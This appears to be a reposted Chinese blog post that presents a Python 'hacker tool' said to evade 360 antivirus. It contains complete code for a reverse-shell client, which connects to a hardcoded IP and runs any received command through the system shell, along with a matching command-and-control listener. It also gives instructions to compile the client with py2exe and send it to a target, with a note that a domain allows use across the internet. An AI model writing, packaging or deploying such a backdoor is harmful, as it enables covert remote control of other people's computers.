当前位置: 首页 > news >正文

Python写黑客小工具,360免杀

构思:

client:反向连接server,执行shell命令

server:发送命令,控制客户端

import subprocess
import socket
import threading


target="172.22.40.41"
port=55555
buffer=""


def sendMag(c_socket):
    global buffer
    
    while True:
        #send cmd
        
        if len(buffer):
            try:
                print "c_buffer>>>>", buffer
                c_socket.send(buffer)
            except:
                print "socket send error"
                
           
            print buffer
            buffer=""
            
         
            
       
            
def getMag(client_socket):
    global buffer
    
    while True:
        resc=""
        len_resc=1
        while len_resc:
            datas=client_socket.recv(4096)
            len_resc=len(datas)
            resc+=datas
            if len_resc<4096:
                break
            
            
        if not len(resc):
            res_cmd="ERROR COMMAND"
        res_cmd=cmd(resc)
        try:
            
            if not len(res_cmd):
                res_cmd="NO MAG"
                
                
            buffer+=res_cmd
            
        except:
            print "soc send reeor"
            
        
            
        


def c_rec():
    global target
    global port
    client_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        
        client_socket.connect((target,port))
    except:
        print "SOCKET CONNECT FAILED"
    
    
    
    
    get_thread=threading.Thread(target=getMag,args=(client_socket,))
    get_thread.start()
    send_thread=threading.Thread(target=sendMag,args=(client_socket,))
    send_thread.start()
    

def cmd(str):
    str=str.rstrip()
    try:
        
        res_cmd=subprocess.check_output(str,shell=True)
        
    except:
        res_cmd="ERROR COMMEND!!"
        
    if not len(res_cmd):
        res_cmd="ERROR BACK"
        
    return res_cmd



def main():
    c_rec()


main()

 

import socket
import threading


target="0.0.0.0"
port=55555


def s_loop():
    global target
    global port
    server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server.bind((target,port))
    
    server.listen(5)
    while True:
        c_socket,addr=server.accept()
        print "A Client Connect"
        
        
        send_thread=threading.Thread(target=sendMag,args=(c_socket,))
        send_thread.start()
    
        get_thread=threading.Thread(target=getMag,args=(c_socket,))
        get_thread.start()



    
    

def sendMag(c_socket):
    while True:
        #send cmd
        
        command=raw_input("#")
        try:
           
            if  len(command):
                c_socket.send(command)
                
        except:
            print "server send error"
        



def getMag(c_socket):
    while True:
        #get mag from client  
        recvs=""   
        
        len_rec=1
        while len_rec:
            datas=c_socket.recv(4096)
            
            len_rec=len(datas)
            recvs+=datas
            if len_rec<4096:
                break
            
           
        print "get from Catc::",recvs
        


    


def main():
    s_loop()



main()

 可以用py2exe生成exe执行文件,发给测试者,如果有域名就更好了,可以在外网使用。

 

假设有一个Hello.py需要生成exe文件

习惯在同一目录下新建setup.py文件

内容:

from distutils.core import setup 
import py2exe

setup(console=['x:/xxx/hello.py'])

 
注意一定是全路径。

cmd进入setup.py的目录下:

python ./setup.py py2exe


成功会在同级目录生成dist、build,exe文件在dist里

转载于:https://www.cnblogs.com/lanqie/p/7442900.html

相关文章:

  • CentOS7之yum仓库配置
  • Linux 访问控制acl
  • python流程控制
  • jfinal的model,service类继承结构梳理
  • 大数据项目成功的七大秘密
  • C#操作DataTable类
  • 【一个电脑多域名】一个电脑配置多个模拟域名的方法(用于测试)
  • 挂断电话demo
  • 和 || 运算
  • 怎样借助Python爬虫给宝宝起个好名字
  • js之点击值发生变化
  • 解决 wcf HTTP 无法注册 另一应用程序正在使用 TCP 端口 80
  • [树链剖分]luogu P2590 ZJOI 树的统计
  • linux中断线程化分析【转】
  • php linux 脚本语法解释
  • ECMAScript6(0):ES6简明参考手册
  • exports和module.exports
  • Lsb图片隐写
  • Mac转Windows的拯救指南
  • Vue ES6 Jade Scss Webpack Gulp
  • 从零开始在ubuntu上搭建node开发环境
  • 代理模式
  • 给github项目添加CI badge
  • 精益 React 学习指南 (Lean React)- 1.5 React 与 DOM
  • 如何使用 OAuth 2.0 将 LinkedIn 集成入 iOS 应用
  • 深度学习在携程攻略社区的应用
  • 算法系列——算法入门之递归分而治之思想的实现
  • 微信小程序:实现悬浮返回和分享按钮
  • 微信小程序--------语音识别(前端自己也能玩)
  • 项目实战-Api的解决方案
  • 湖北分布式智能数据采集方法有哪些?
  • ​ 无限可能性的探索:Amazon Lightsail轻量应用服务器引领数字化时代创新发展
  • #微信小程序(布局、渲染层基础知识)
  • $(selector).each()和$.each()的区别
  • (09)Hive——CTE 公共表达式
  • (3)Dubbo启动时qos-server can not bind localhost22222错误解决
  • (Mirage系列之二)VMware Horizon Mirage的经典用户用例及真实案例分析
  • (附源码)spring boot网络空间安全实验教学示范中心网站 毕业设计 111454
  • (附源码)springboot猪场管理系统 毕业设计 160901
  • (官网安装) 基于CentOS 7安装MangoDB和MangoDB Shell
  • (接口自动化)Python3操作MySQL数据库
  • (每日持续更新)jdk api之FileReader基础、应用、实战
  • (十)【Jmeter】线程(Threads(Users))之jp@gc - Stepping Thread Group (deprecated)
  • (十三)Maven插件解析运行机制
  • (数位dp) 算法竞赛入门到进阶 书本题集
  • (译) 函数式 JS #1:简介
  • (正则)提取页面里的img标签
  • .equals()到底是什么意思?
  • .Net CF下精确的计时器
  • .NET(C#、VB)APP开发——Smobiler平台控件介绍:Bluetooth组件
  • .NET大文件上传知识整理
  • .NET高级面试指南专题十一【 设计模式介绍,为什么要用设计模式】
  • .Net面试题4
  • /etc/fstab和/etc/mtab的区别
  • @cacheable 是否缓存成功_让我们来学习学习SpringCache分布式缓存,为什么用?